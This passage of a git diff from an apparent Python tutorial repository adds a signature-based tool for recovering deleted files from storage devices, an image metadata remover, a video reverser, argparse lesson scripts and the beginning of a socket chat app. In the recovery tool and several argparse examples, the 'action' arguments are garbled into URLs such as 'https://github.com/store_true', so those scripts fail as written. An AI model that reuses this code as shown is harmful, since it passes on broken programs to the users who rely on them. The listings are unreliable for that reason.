+ else:
+ # Block device
+ try:
+ # Try using blockdev command (Linux)
+ result = subprocess.run(['blockdev', '--getsize64', self.source],
+ capture_output=True, text=True, check=True)
+ return int(result.stdout.strip())
+ except (subprocess.SubprocessError, FileNotFoundError):
+ try:
+ # Try using ioctl (requires root)
+ import fcntl
+ with open(self.source, 'rb') as fd:
+ # BLKGETSIZE64 = 0x80081272
+ buf = bytearray(8)
+ fcntl.ioctl(fd, 0x80081272, buf)
+ return struct.unpack('L', buf)[0]
+ except:
+ # Last resort: try to seek to the end
+ try:
+ with open(self.source, 'rb') as fd:
+ fd.seek(0, 2) # Seek to end
+ return fd.tell()
+ except:
+ self.logger.warning("Could not determine device size. Using fallback size.")
+ # Fallback to a reasonable size for testing
+ return 1024 * 1024 * 1024 # 1GB
+
+ def scan_device(self):
+ """Scan the device for deleted files"""
+ self.logger.info(f"Starting scan of {self.source}")
+ self.logger.info(f"Looking for file types: {', '.join(self.file_types)}")
+
+ try:
+ # Get device size
+ device_size = self.get_device_size()
+ self.logger.info(f"Device size: {self._format_size(device_size)}")
+
+ # Set up timeout if specified
+ if self.timeout_minutes:
+ self._setup_timeout()
+ self.logger.info(f"Timeout set for {self.timeout_minutes} minutes")
+
+ with open(self.source, 'rb', buffering=0) as device: # buffering=0 for direct I/O
+ self._scan_device_data(device, device_size)
+
+ except (IOError, OSError) as e:
+ self.logger.error(f"Error accessing source: {e}")
+ return False
+
+ self._print_summary()
+ return True
+
+ def _scan_device_data(self, device, device_size):
+ """Scan the device data for file signatures"""
+ position = 0
+
+ # Limit scan size if specified
+ if self.max_scan_size and self.max_scan_size < device_size:
+ self.logger.info(f"Limiting scan to first {self._format_size(self.max_scan_size)} of device")
+ device_size = self.max_scan_size
+
+ # Create subdirectories for each file type
+ for file_type in self.file_types:
+ (self.output_dir / file_type).mkdir(exist_ok=True)
+
+ scan_start_time = time.time()
+ last_progress_time = scan_start_time
+
+ # Read the device in blocks
+ while position < device_size:
+ # Check if timeout reached
+ if self.timeout_reached:
+ self.logger.warning("Stopping scan due to timeout")
+ break
+
+ try:
+ # Seek to position first
+ device.seek(position)
+
+ # Read a block of data
+ data = device.read(self.block_size)
+ if not data:
+ break
+
+ self.stats['bytes_scanned'] += len(data)
+
+ # Check for file signatures in this block
+ for file_type in self.file_types:
+ signatures = FILE_SIGNATURES.get(file_type, [])
+
+ for signature in signatures:
+ sig_pos = data.find(signature)
+
+ if sig_pos != -1:
+ # Found a file signature, try to recover the file
+ absolute_pos = position + sig_pos
+ device.seek(absolute_pos)
+
+ self.logger.debug(f"Found {file_type} signature at position {absolute_pos}")
+
+ # Recover the file
+ if self._recover_file(device, file_type, absolute_pos):
+ self.stats['total_files_recovered'] += 1
+ self.stats['recovered_by_type'][file_type] += 1
+ else:
+ self.stats['false_positives'] += 1
+
+ # Reset position to continue scanning
+ device.seek(position + self.block_size)
+
+ # Update position and show progress
+ position += self.block_size
+ current_time = time.time()
+
+ # Show progress every 5MB or 10 seconds, whichever comes first
+ if (position % (5 * 1024 * 1024) == 0) or (current_time - last_progress_time >= 10):
+ percent = (position / device_size) * 100 if device_size > 0 else 0
+ elapsed = current_time - self.stats['start_time']
+
+ # Calculate estimated time remaining
+ if position > 0 and device_size > 0:
+ bytes_per_second = position / elapsed if elapsed > 0 else 0
+ remaining_bytes = device_size - position
+ eta_seconds = remaining_bytes / bytes_per_second if bytes_per_second > 0 else 0
+ eta_str = str(timedelta(seconds=int(eta_seconds)))
+ else:
+ eta_str = "unknown"
+
+ self.logger.info(f"Progress: {percent:.2f}% ({self._format_size(position)} / {self._format_size(device_size)}) - "
+ f"{self.stats['total_files_recovered']} files recovered - "
+ f"Elapsed: {timedelta(seconds=int(elapsed))} - ETA: {eta_str}")
+ last_progress_time = current_time
+
+ except Exception as e:
+ self.logger.error(f"Error reading at position {position}: {e}")
+ position += self.block_size # Skip this block and continue
+
+ def _validate_file_content(self, data, file_type):
+ """
+ Additional validation to reduce false positives
+
+ Args:
+ data: File data to validate
+ file_type: Type of file to validate
+
+ Returns:
+ bool: True if file content appears valid
+ """
+ # Check minimum size
+ if len(data) < 100:
+ return False
+
+ # Check for validation patterns
+ patterns = VALIDATION_PATTERNS.get(file_type, [])
+ if patterns:
+ for pattern in patterns:
+ if pattern in data:
+ return True
+ return False # None of the patterns were found
+
+ # For file types without specific validation patterns
+ return True
+
+ def _recover_file(self, device, file_type, start_position):
+ """
+ Recover a file of the given type starting at the given position
+
+ Args:
+ device: Open file handle to the device
+ file_type: Type of file to recover
+ start_position: Starting position of the file
+
+ Returns:
+ bool: True if file was recovered successfully
+ """
+ max_size = MAX_FILE_SIZES.get(file_type, 10 * 1024 * 1024) # Default to 10MB
+ trailer = FILE_TRAILERS.get(file_type)
+
+ # Generate a unique filename
+ filename = f"{file_type}_{start_position}_{int(time.time())}_{binascii.hexlify(os.urandom(4)).decode()}.{file_type}"
+ output_path = self.output_dir / file_type / filename
+
+ if self.skip_existing and output_path.exists():
+ self.logger.debug(f"Skipping existing file: {output_path}")
+ return False
+
+ # Save the current position to restore later
+ current_pos = device.tell()
+
+ try:
+ # Seek to the start of the file
+ device.seek(start_position)
+
+ # Read the file data
+ if trailer and self.deep_scan:
+ # If we know the trailer and deep scan is enabled, read until trailer
+ file_data = self._read_until_trailer(device, trailer, max_size)
+ else:
+ # Otherwise, use heuristics to determine file size
+ file_data = self._read_file_heuristic(device, file_type, max_size)
+
+ if not file_data or len(file_data) < 100: # Ignore very small files
+ return False
+
+ # Additional validation to reduce false positives
+ if not self._validate_file_content(file_data, file_type):
+ self.logger.debug(f"Skipping invalid {file_type} file at position {start_position}")
+ return False
+
+ # Write the recovered file
+ with open(output_path, 'wb') as f:
+ f.write(file_data)
+
+ self.logger.info(f"Recovered {file_type} file: {filename} ({self._format_size(len(file_data))})")
+ return True
+
+ except Exception as e:
+ self.logger.error(f"Error recovering file at position {start_position}: {e}")
+ return False
+ finally:
+ # Restore the original position
+ try:
+ device.seek(current_pos)
+ except:
+ pass # Ignore seek errors in finally block
+
+ def _read_until_trailer(self, device, trailer, max_size):
+ """Read data until a trailer signature is found or max size is reached"""
+ buffer = bytearray()
+ chunk_size = 4096
+
+ while len(buffer) < max_size:
+ try:
+ chunk = device.read(chunk_size)
+ if not chunk:
+ break
+
+ buffer.extend(chunk)
+
+ # Check if trailer is in the buffer
+ trailer_pos = buffer.find(trailer, max(0, len(buffer) - len(trailer) - chunk_size))
+ if trailer_pos != -1:
+ # Found trailer, return data up to and including the trailer
+ return buffer[:trailer_pos + len(trailer)]
+ except Exception as e:
+ self.logger.error(f"Error reading chunk: {e}")
+ break
+
+ # If we reached max size without finding a trailer, return what we have
+ return buffer if len(buffer) > 100 else None
+
+ def _read_file_heuristic(self, device, file_type, max_size):
+ """
+ Use heuristics to determine file size when trailer is unknown
+ This is a simplified approach - real tools use more sophisticated methods
+ """
+ buffer = bytearray()
+ chunk_size = 4096
+ valid_chunks = 0
+ invalid_chunks = 0
+
+ # For Office documents and ZIP files, read a larger initial chunk to validate
+ initial_chunk_size = 16384 if file_type in ['docx', 'xlsx', 'pptx', 'zip'] else chunk_size
+
+ # Read initial chunk for validation
+ initial_chunk = device.read(initial_chunk_size)
+ if not initial_chunk:
+ return None
+
+ buffer.extend(initial_chunk)
+
+ # For Office documents, check if it contains required elements
+ if file_type in ['docx', 'xlsx', 'pptx', 'zip']:
+ # Basic validation for Office Open XML files
+ if file_type == 'docx' and b'word/' not in initial_chunk:
+ return None
+ if file_type == 'xlsx' and b'xl/' not in initial_chunk:
+ return None
+ if file_type == 'pptx' and b'ppt/' not in initial_chunk:
+ return None
+ if file_type == 'zip' and b'PK\x01\x02' not in initial_chunk:
+ return None
+
+ # Continue reading chunks
+ while len(buffer) < max_size:
+ try:
+ chunk = device.read(chunk_size)
+ if not chunk:
+ break
+
+ buffer.extend(chunk)
+
+ # Simple heuristic: for binary files, check if chunk contains too many non-printable characters
+ # This is a very basic approach and would need to be refined for real-world use
+ if file_type in ['jpg', 'png', 'gif', 'pdf', 'zip', 'docx', 'xlsx', 'pptx', 'mp3', 'mp4', 'avi']:
+ # For binary files, we continue reading until we hit max size or end of device
+ valid_chunks += 1
+
+ # For ZIP-based formats, check for corruption
+ if file_type in ['zip', 'docx', 'xlsx', 'pptx'] and b'PK' not in chunk and valid_chunks > 10:
+ # If we've read several chunks and don't see any more PK signatures, we might be past the file
+ invalid_chunks += 1
+
+ else:
+ # For text files, we could check for text validity
+ printable_ratio = sum(32 <= b <= 126 or b in (9, 10, 13) for b in chunk) / len(chunk)
+ if printable_ratio < 0.7: # If less than 70% printable characters
+ invalid_chunks += 1
+ else:
+ valid_chunks += 1
+
+ # If we have too many invalid chunks in a row, stop
+ if invalid_chunks > 3:
+ return buffer[:len(buffer) - (invalid_chunks * chunk_size)]
+ except Exception as e:
+ self.logger.error(f"Error reading chunk in heuristic: {e}")
+ break
+
+ return buffer
+
+ def _format_size(self, size_bytes):
+ """Format size in bytes to a human-readable string"""
+ for unit in ['B', 'KB', 'MB', 'GB', 'TB']:
+ if size_bytes < 1024 or unit == 'TB':
+ return f"{size_bytes:.2f} {unit}"
+ size_bytes /= 1024
+
+ def _print_summary(self):
+ """Print a summary of the recovery operation"""
+ elapsed = time.time() - self.stats['start_time']
+
+ self.logger.info("=" * 50)
+ self.logger.info("Recovery Summary")
+ self.logger.info("=" * 50)
+ self.logger.info(f"Total files recovered: {self.stats['total_files_recovered']}")
+ self.logger.info(f"False positives detected and skipped: {self.stats['false_positives']}")
+ self.logger.info(f"Total data scanned: {self._format_size(self.stats['bytes_scanned'])}")
+ self.logger.info(f"Time elapsed: {timedelta(seconds=int(elapsed))}")
+ self.logger.info("Files recovered by type:")
+
+ for file_type, count in self.stats['recovered_by_type'].items():
+ if count > 0:
+ self.logger.info(f" - {file_type}: {count}")
+
+ if self.timeout_reached:
+ self.logger.info("Note: Scan was stopped due to timeout")
+
+ self.logger.info("=" * 50)
+
+
+def main():
+ """Main function to parse arguments and run the recovery tool"""
+ parser = argparse.ArgumentParser(description='File Recovery Tool - Recover deleted files from storage devices')
+
+ parser.add_argument('source', help='Source device or directory to recover files from (e.g., /dev/sdb, /media/usb)')
+ parser.add_argument('output', help='Directory to save recovered files')
+
+ parser.add_argument('-t', '--types', nargs='+', choices=FILE_SIGNATURES.keys(), default=None,
+ help='File types to recover (default: all supported types)')
+
+ parser.add_argument('-d', '--deep-scan', action='https://github.com/store_true',
+ help='Perform a deep scan (slower but more thorough)')
+
+ parser.add_argument('-b', '--block-size', type=int, default=512,
+ help='Block size for reading data (default: 512 bytes)')
+
+ parser.add_argument('-v', '--verbose', action='https://github.com/store_true',
+ help='Enable verbose output')
+
+ parser.add_argument('-q', '--quiet', action='https://github.com/store_true',
+ help='Suppress all output except errors')
+
+ parser.add_argument('--no-skip', action='https://github.com/store_true',
+ help='Do not skip existing files in output directory')
+
+ parser.add_argument('--max-size', type=int,
+ help='Maximum size to scan in MB (e.g., 1024 for 1GB)')
+
+ parser.add_argument('--timeout', type=int, default=None,
+ help='Stop scanning after specified minutes')
+
+ args = parser.parse_args()
+
+ # Set logging level based on verbosity
+ if args.quiet:
+ log_level = logging.ERROR
+ elif args.verbose:
+ log_level = logging.DEBUG
+ else:
+ log_level = logging.INFO
+
+ # Convert max size from MB to bytes if specified
+ max_scan_size = args.max_size * 1024 * 1024 if args.max_size else None
+
+ # Create and run the recovery tool
+ recovery_tool = FileRecoveryTool(
+ source=args.source,
+ output_dir=args.output,
+ file_types=args.types,
+ deep_scan=args.deep_scan,
+ block_size=args.block_size,
+ log_level=log_level,
+ skip_existing=not args.no_skip,
+ max_scan_size=max_scan_size,
+ timeout_minutes=args.timeout
+ )
+
+ try:
+ recovery_tool.scan_device()
+ except KeyboardInterrupt:
+ print("\nRecovery process interrupted by user.")
+ recovery_tool._print_summary()
+ sys.exit(1)
+
+
+if __name__ == "__main__":
+ main()
diff --git a/python-for-multimedia/remove-metadata-from-images/README.md b/python-for-multimedia/remove-metadata-from-images/README.md
new file mode 100644
index 00000000..f1fd7f5c
--- /dev/null
+++ b/python-for-multimedia/remove-metadata-from-images/README.md
@@ -0,0 +1 @@
+# [How to Remove Metadata from an Image in Python](https://thepythoncode.com/article/how-to-clear-image-metadata-in-python)
\ No newline at end of file
diff --git a/python-for-multimedia/remove-metadata-from-images/clear_metadata.py b/python-for-multimedia/remove-metadata-from-images/clear_metadata.py
new file mode 100644
index 00000000..093f6432
--- /dev/null
+++ b/python-for-multimedia/remove-metadata-from-images/clear_metadata.py
@@ -0,0 +1,33 @@
+# Import necessary libraries.
+import argparse
+from PIL import Image
+
+
+# Function to clear Metadata from a specified image.
+def clear_all_metadata(imgname):
+
+ # Open the image file
+ img = Image.open(imgname)
+
+ # Read the image data, excluding metadata.
+ data = list(img.getdata())
+
+ # Create a new image with the same mode and size but without metadata.
+ img_without_metadata = Image.new(img.mode, img.size)
+ img_without_metadata.putdata(data)
+
+ # Save the new image over the original file, effectively removing metadata.
+ img_without_metadata.save(imgname)
+
+ print(f"Metadata successfully cleared from '{imgname}'.")
+
+# Setup command line argument parsing
+parser = argparse.ArgumentParser(description="Remove metadata from an image file.")
+parser.add_argument("img", help="Image file from which to remove metadata")
+
+# Parse arguments
+args = parser.parse_args()
+
+# If an image file is provided, clear its metadata
+if args.img:
+ clear_all_metadata(args.img)
diff --git a/python-for-multimedia/remove-metadata-from-images/requirements.txt b/python-for-multimedia/remove-metadata-from-images/requirements.txt
new file mode 100644
index 00000000..5873a222
--- /dev/null
+++ b/python-for-multimedia/remove-metadata-from-images/requirements.txt
@@ -0,0 +1 @@
+Pillow
\ No newline at end of file
diff --git a/python-for-multimedia/reverse-video/README.md b/python-for-multimedia/reverse-video/README.md
new file mode 100644
index 00000000..9a39941b
--- /dev/null
+++ b/python-for-multimedia/reverse-video/README.md
@@ -0,0 +1,7 @@
+# [How to Reverse Videos in Python](https://www.thepythoncode.com/article/reverse-video-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+-
+ ```
+ $ python reverse_video.py Tenet-the-breach-scene-in-forward.mp4
+ ```
diff --git a/python-for-multimedia/reverse-video/Tenet-the-breach-scene-in-forward.mp4 b/python-for-multimedia/reverse-video/Tenet-the-breach-scene-in-forward.mp4
new file mode 100644
index 00000000..9e326b99
Binary files /dev/null and b/python-for-multimedia/reverse-video/Tenet-the-breach-scene-in-forward.mp4 differ
diff --git a/python-for-multimedia/reverse-video/requirements.txt b/python-for-multimedia/reverse-video/requirements.txt
new file mode 100644
index 00000000..58c65c11
--- /dev/null
+++ b/python-for-multimedia/reverse-video/requirements.txt
@@ -0,0 +1,3 @@
+tqdm
+moviepy
+numpy
\ No newline at end of file
diff --git a/python-for-multimedia/reverse-video/reverse_video.py b/python-for-multimedia/reverse-video/reverse_video.py
new file mode 100644
index 00000000..f12552ab
--- /dev/null
+++ b/python-for-multimedia/reverse-video/reverse_video.py
@@ -0,0 +1,76 @@
+from moviepy.editor import VideoFileClip, ImageSequenceClip
+import numpy as np
+import os
+from datetime import timedelta, datetime
+from glob import glob
+from tqdm import tqdm
+import shutil
+
+# i.e if video of duration 30 seconds, saves 10 frame per second = 300 frames saved in total
+SAVING_FRAMES_PER_SECOND = 30
+
+def format_timedelta(td):
+ """Utility function to format timedelta objects in a cool way (e.g 00:00:20.05)
+ omitting microseconds and retaining milliseconds"""
+ result = str(td)
+ try:
+ result, ms = result.split(".")
+ except ValueError:
+ return result + ".00".replace(":", "-")
+ ms = int(ms)
+ ms = round(ms / 1e4)
+ return f"{result}.{ms:02}".replace(":", "-")
+
+
+def extract_frames(video_file, verbose=1):
+ # load the video clip
+ video_clip = VideoFileClip(video_file)
+ # make a folder by the name of the video file
+ filename, _ = os.path.splitext(video_file)
+ if not os.path.isdir(filename):
+ os.mkdir(filename)
+ # if the SAVING_FRAMES_PER_SECOND is above video FPS, then set it to FPS (as maximum)
+ saving_frames_per_second = min(video_clip.fps, SAVING_FRAMES_PER_SECOND)
+ # if SAVING_FRAMES_PER_SECOND is set to 0, step is 1/fps, else 1/SAVING_FRAMES_PER_SECOND
+ step = 1 / video_clip.fps if saving_frames_per_second == 0 else 1 / saving_frames_per_second
+ iteration = np.arange(0, video_clip.duration, step)
+ if verbose:
+ iteration = tqdm(iteration, desc="Extracting video frames")
+ # iterate over each possible frame
+ for current_duration in iteration:
+ # format the file name and save it
+ frame_duration_formatted = format_timedelta(timedelta(seconds=current_duration)).replace(":", "-")
+ frame_filename = os.path.join(filename, f"frame{frame_duration_formatted}.jpg")
+ # save the frame with the current duration
+ video_clip.save_frame(frame_filename, current_duration)
+ return filename, video_clip.fps
+
+
+
+def reverse_video(frames_path, video_fps, remove_extracted_frames=True):
+ frame_files = glob(os.path.join(frames_path, "*"))
+ # sort by duration in descending order
+ frame_files = sorted(frame_files, key=lambda d: datetime.strptime(d.split("frame")[1], "%H-%M-%S.%f.jpg"), reverse=True)
+ # calculate the FPS, getting the minimum between the original FPS and the parameter we set
+ saving_frames_per_second = min(video_fps, SAVING_FRAMES_PER_SECOND)
+ if saving_frames_per_second == 0:
+ # if the parameter is set to 0, automatically set it to the original video fps
+ saving_frames_per_second = video_fps
+ print("Saving the video with FPS:", saving_frames_per_second)
+ # load the frames into a image sequence clip (MoviePy)
+ image_sequence_clip = ImageSequenceClip(frame_files, fps=saving_frames_per_second)
+ # write the video file to disk
+ output_filename = f"{frames_path}-inverted.mp4"
+ image_sequence_clip.write_videofile(output_filename)
+ if remove_extracted_frames:
+ # if set to True, then remove the folder that contain the extracted frames
+ shutil.rmtree(frames_path)
+
+
+
+if __name__ == "__main__":
+ import sys
+ video_file = sys.argv[1]
+ frames_folder_path, video_fps = extract_frames(video_file)
+ reverse_video(frames_folder_path, video_fps=video_fps)
+
diff --git a/python-standard-library/argparse/1_simple_example.py b/python-standard-library/argparse/1_simple_example.py
new file mode 100644
index 00000000..cbd22bbf
--- /dev/null
+++ b/python-standard-library/argparse/1_simple_example.py
@@ -0,0 +1,7 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A simple argparse example.')
+parser.add_argument('input', help='Input file to process.')
+
+args = parser.parse_args()
+print(f'Processing file: {args.input}')
diff --git a/python-standard-library/argparse/2.2_default_and_required.py b/python-standard-library/argparse/2.2_default_and_required.py
new file mode 100644
index 00000000..f4d4c276
--- /dev/null
+++ b/python-standard-library/argparse/2.2_default_and_required.py
@@ -0,0 +1,10 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A simple argparse example.')
+parser.add_argument('input', help='Input file to process.')
+# parser.add_argument('-o', '--output', default='output.txt', help='Output file.')
+parser.add_argument('-o', '--output', required=True, help='Output file.')
+
+args = parser.parse_args()
+print(f'Processing file: {args.input}')
+print(f"Writing to file: {args.output}")
diff --git a/python-standard-library/argparse/2.3_choices.py b/python-standard-library/argparse/2.3_choices.py
new file mode 100644
index 00000000..01db0c06
--- /dev/null
+++ b/python-standard-library/argparse/2.3_choices.py
@@ -0,0 +1,9 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A simple argparse example.')
+parser.add_argument('input', help='Input file to process.')
+parser.add_argument('-m', '--mode', choices=['add', 'subtract', 'multiply', 'divide'], help='Calculation mode.')
+
+args = parser.parse_args()
+print(f'Processing file: {args.input}')
+print(f"Mode: {args.mode}")
diff --git a/python-standard-library/argparse/2.5_nargs.py b/python-standard-library/argparse/2.5_nargs.py
new file mode 100644
index 00000000..88b9be93
--- /dev/null
+++ b/python-standard-library/argparse/2.5_nargs.py
@@ -0,0 +1,10 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A simple argparse example.')
+parser.add_argument('--values', nargs=3)
+# parser.add_argument('--value', nargs='?', default='default_value')
+# parser.add_argument('--values', nargs='*')
+# parser.add_argument('--values', nargs='+')
+
+args = parser.parse_args()
+print(f"Values: {args.values}")
diff --git a/python-standard-library/argparse/2.6_builtin_actions.py b/python-standard-library/argparse/2.6_builtin_actions.py
new file mode 100644
index 00000000..256932e8
--- /dev/null
+++ b/python-standard-library/argparse/2.6_builtin_actions.py
@@ -0,0 +1,13 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A simple argparse example.')
+parser.add_argument('--foo', action='https://github.com/store', help='Store the value of foo.')
+parser.add_argument('--enable', action='https://github.com/store_true', help='Enable the feature.')
+parser.add_argument('--disable', action='https://github.com/store_false', help='Disable the feature.')
+parser.add_argument('--level', action='https://github.com/store_const', const='advanced', help='Set level to advanced.')
+parser.add_argument('--values', action='https://github.com/append', help='Append values to a list.')
+parser.add_argument('--add_const', action='https://github.com/append_const', const=42, help='Add 42 to the list.')
+parser.add_argument('-v', '--verbose', action='https://github.com/count', help='Increase verbosity level.')
+args = parser.parse_args()
+print(f"Values: {args.values}")
+print(f"Verbosity: {args.verbose}")
diff --git a/python-standard-library/argparse/2.6_custom_actions.py b/python-standard-library/argparse/2.6_custom_actions.py
new file mode 100644
index 00000000..86d15392
--- /dev/null
+++ b/python-standard-library/argparse/2.6_custom_actions.py
@@ -0,0 +1,16 @@
+import argparse
+
+class CustomAction(argparse.Action):
+ def __call__(self, parser, namespace, values, option_string=None):
+ # Perform custom processing on the argument values
+ processed_values = [value.upper() for value in values]
+
+ # Set the attribute on the namespace object
+ setattr(namespace, self.dest, processed_values)
+
+# Set up argument parser and add the custom action
+parser = argparse.ArgumentParser(description='Custom argument action example.')
+parser.add_argument('-n', '--names', nargs='+', action=CustomAction, help='A list of names to be processed.')
+
+args = parser.parse_args()
+print(args.names)
diff --git a/python-standard-library/argparse/2.7_argument_types.py b/python-standard-library/argparse/2.7_argument_types.py
new file mode 100644
index 00000000..d595a6fd
--- /dev/null
+++ b/python-standard-library/argparse/2.7_argument_types.py
@@ -0,0 +1,6 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A simple argparse example.')
+parser.add_argument("-r", "--ratio", type=float)
+args = parser.parse_args()
+print(f"Ratio: {args.ratio}")
diff --git a/python-standard-library/argparse/3.3_subcommand_example.py b/python-standard-library/argparse/3.3_subcommand_example.py
new file mode 100644
index 00000000..55088d6c
--- /dev/null
+++ b/python-standard-library/argparse/3.3_subcommand_example.py
@@ -0,0 +1,10 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A subcommand example.')
+subparsers = parser.add_subparsers(help='Subcommand help')
+
+list_parser = subparsers.add_parser('list', help='List items')
+add_parser = subparsers.add_parser('add', help='Add an item')
+add_parser.add_argument('item', help='Item to add')
+
+args = parser.parse_args()
diff --git a/python-standard-library/argparse/4.1_file_renamer.py b/python-standard-library/argparse/4.1_file_renamer.py
new file mode 100644
index 00000000..0d5f2502
--- /dev/null
+++ b/python-standard-library/argparse/4.1_file_renamer.py
@@ -0,0 +1,46 @@
+import argparse
+import os
+
+# Rename function
+def rename_files(args):
+ # Your file renaming logic here
+ print(f"Renaming files in {args.path}...")
+ print(f"Prefix: {args.prefix}")
+ print(f"Suffix: {args.suffix}")
+ print(f"Replace: {args.replace}")
+ os.chdir(args.path)
+ for file in os.listdir():
+ # Get the file name and extension
+ file_name, file_ext = os.path.splitext(file)
+ # Add prefix
+ if args.prefix:
+ file_name = f"{args.prefix}{file_name}"
+ # Add suffix
+ if args.suffix:
+ file_name = f"{file_name}{args.suffix}"
+ # Replace substring
+ if args.replace:
+ file_name = file_name.replace(args.replace[0], args.replace[1])
+ # Rename the file
+ print(f"Renaming {file} to {file_name}{file_ext}")
+ os.rename(file, f"{file_name}{file_ext}")
+
+# custom type for checking if a path exists
+def path_exists(path):
+ if os.path.exists(path):
+ return path
+ else:
+ raise argparse.ArgumentTypeError(f"Path {path} does not exist.")
+
+
+# Set up argument parser
+parser = argparse.ArgumentParser(description='File renaming tool.')
+parser.add_argument('path', type=path_exists, help='Path to the folder containing the files to rename.')
+parser.add_argument('-p', '--prefix', help='Add a prefix to each file name.')
+parser.add_argument('-s', '--suffix', help='Add a suffix to each file name.')
+parser.add_argument('-r', '--replace', nargs=2, help='Replace a substring in each file name. Usage: -r old_string new_string')
+
+args = parser.parse_args()
+
+# Call the renaming function
+rename_files(args)
diff --git a/python-standard-library/argparse/4.2_simple_calculator.py b/python-standard-library/argparse/4.2_simple_calculator.py
new file mode 100644
index 00000000..2f4ea64d
--- /dev/null
+++ b/python-standard-library/argparse/4.2_simple_calculator.py
@@ -0,0 +1,42 @@
+import argparse
+
+# Operation functions
+def add(args):
+ print(args.x + args.y)
+
+def subtract(args):
+ print(args.x - args.y)
+
+def multiply(args):
+ print(args.x * args.y)
+
+def divide(args):
+ print(args.x / args.y)
+
+# Set up argument parser
+parser = argparse.ArgumentParser(description='Command-line calculator.')
+subparsers = parser.add_subparsers()
+
+# Add subcommands
+add_parser = subparsers.add_parser('add', help='Add two numbers.')
+add_parser.add_argument('x', type=float, help='First number.')
+add_parser.add_argument('y', type=float, help='Second number.')
+add_parser.set_defaults(func=add)
+
+subtract_parser = subparsers.add_parser('subtract', help='Subtract two numbers.')
+subtract_parser.add_argument('x', type=float, help='First number.')
+subtract_parser.add_argument('y', type=float, help='Second number.')
+subtract_parser.set_defaults(func=subtract)
+
+multiply_parser = subparsers.add_parser('multiply', help='Multiply two numbers.')
+multiply_parser.add_argument('x', type=float, help='First number.')
+multiply_parser.add_argument('y', type=float, help='Second number.')
+multiply_parser.set_defaults(func=multiply)
+
+divide_parser = subparsers.add_parser('divide', help='Divide two numbers.')
+divide_parser.add_argument('x', type=float, help='First number.')
+divide_parser.add_argument('y', type=float, help='Second number.')
+divide_parser.set_defaults(func=divide)
+
+args = parser.parse_args()
+args.func(args)
diff --git a/python-standard-library/argparse/README.md b/python-standard-library/argparse/README.md
new file mode 100644
index 00000000..a0565d61
--- /dev/null
+++ b/python-standard-library/argparse/README.md
@@ -0,0 +1,4 @@
+# [How to Use the Argparse Module in Python](https://www.thepythoncode.com/article/how-to-use-argparse-in-python)
+The `argparse` module in Python is a built-in module that helps us to parse command-line arguments. It is a very useful module that allows us to easily write user-friendly command-line interfaces. In this tutorial, we will learn how to use the `argparse` module in Python.
+
+The code is available for each section, so you can run it and see the output.
\ No newline at end of file
diff --git a/python-standard-library/argparse/data/item1.txt b/python-standard-library/argparse/data/item1.txt
new file mode 100644
index 00000000..02103c6d
--- /dev/null
+++ b/python-standard-library/argparse/data/item1.txt
@@ -0,0 +1 @@
+This is a text file
\ No newline at end of file
diff --git a/python-standard-library/argparse/data/item2.txt b/python-standard-library/argparse/data/item2.txt
new file mode 100644
index 00000000..5d8fb96c
--- /dev/null
+++ b/python-standard-library/argparse/data/item2.txt
@@ -0,0 +1 @@
+Another text file is created in the same directory as the original file.
\ No newline at end of file
diff --git a/python-standard-library/chat-application/README.md b/python-standard-library/chat-application/README.md
new file mode 100644
index 00000000..f0e40149
--- /dev/null
+++ b/python-standard-library/chat-application/README.md
@@ -0,0 +1,6 @@
+# [How to Make a Chat Application in Python](https://www.thepythoncode.com/article/make-a-chat-room-application-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- Run `server.py` first to initialize the server.
+- Run one or more `client.py` instances and chat!
+- If you want to run `client.py` from another machine, make sure you change `SERVER_HOST` in `client.py` to the server's IP address.
\ No newline at end of file
diff --git a/python-standard-library/chat-application/client.py b/python-standard-library/chat-application/client.py
new file mode 100644
index 00000000..8677efda
--- /dev/null
+++ b/python-standard-library/chat-application/client.py
@@ -0,0 +1,61 @@
+import socket
+import random
+from threading import Thread
+from datetime import datetime
+from colorama import Fore, init, Back
+
+# init colors
+init()
+
+# set the available colors
+colors = [Fore.BLUE, Fore.CYAN, Fore.GREEN, Fore.LIGHTBLACK_EX,
+ Fore.LIGHTBLUE_EX, Fore.LIGHTCYAN_EX, Fore.LIGHTGREEN_EX,
+ Fore.LIGHTMAGENTA_EX, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX,
+ Fore.LIGHTYELLOW_EX, Fore.MAGENTA, Fore.RED, Fore.WHITE, Fore.YELLOW
+]
+
+# choose a random color for the client
+client_color = random.choice(colors)
+
+# server's IP address
+# if the server is not on this machine,
+# put the private (network) IP address (e.g 192.168.1.2)
+SERVER_HOST = "127.0.0.1"
+SERVER_PORT = 5002 # server's port
+separator_token = "" # we will use this to separate the client name & message
+
+# initialize TCP socket
+s = socket.socket()
+print(f"[*] Connecting to {SERVER_HOST}:{SERVER_PORT}...")
+# connect to the server
+s.connect((SERVER_HOST, SERVER_PORT))
+print("[+] Connected.")
+# prompt the client for a name
+name = input("Enter your name: ")
+
+def listen_for_messages():
+ while True:
+ message = s.recv(1024).decode()
+ print("\n" + message)
+
+# make a thread that listens for messages to this client & print them
+t = Thread(target=listen_for_messages)
+# make the thread daemon so it ends whenever the main thread ends
+t.daemon = True
+# start the thread
+t.start()
+
+while True:
+ # input message we want to send to the server
+ to_send = input()
+ # a way to exit the program
+ if to_send.lower() == 'q':
+ break
+ # add the datetime, name & the color of the sender
+ date_now = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
+ to_send = f"{client_color}[{date_now}] {name}{separator_token}{to_send}{Fore.RESET}"
+ # finally, send the message
+ s.send(to_send.encode())
+
+# close the socket
+s.close()
\ No newline at end of file
diff --git a/python-standard-library/chat-application/requirements.txt b/python-standard-library/chat-application/requirements.txt
new file mode 100644
index 00000000..3d90aaa5
--- /dev/null
+++ b/python-standard-library/chat-application/requirements.txt
@@ -0,0 +1 @@
+colorama
\ No newline at end of file
diff --git a/python-standard-library/chat-application/server.py b/python-standard-library/chat-application/server.py
new file mode 100644
index 00000000..db99e292
--- /dev/null
+++ b/python-standard-library/chat-application/server.py
@@ -0,0 +1,62 @@
+import socket
+from threading import Thread
+
+# server's IP address
+SERVER_HOST = "0.0.0.0"
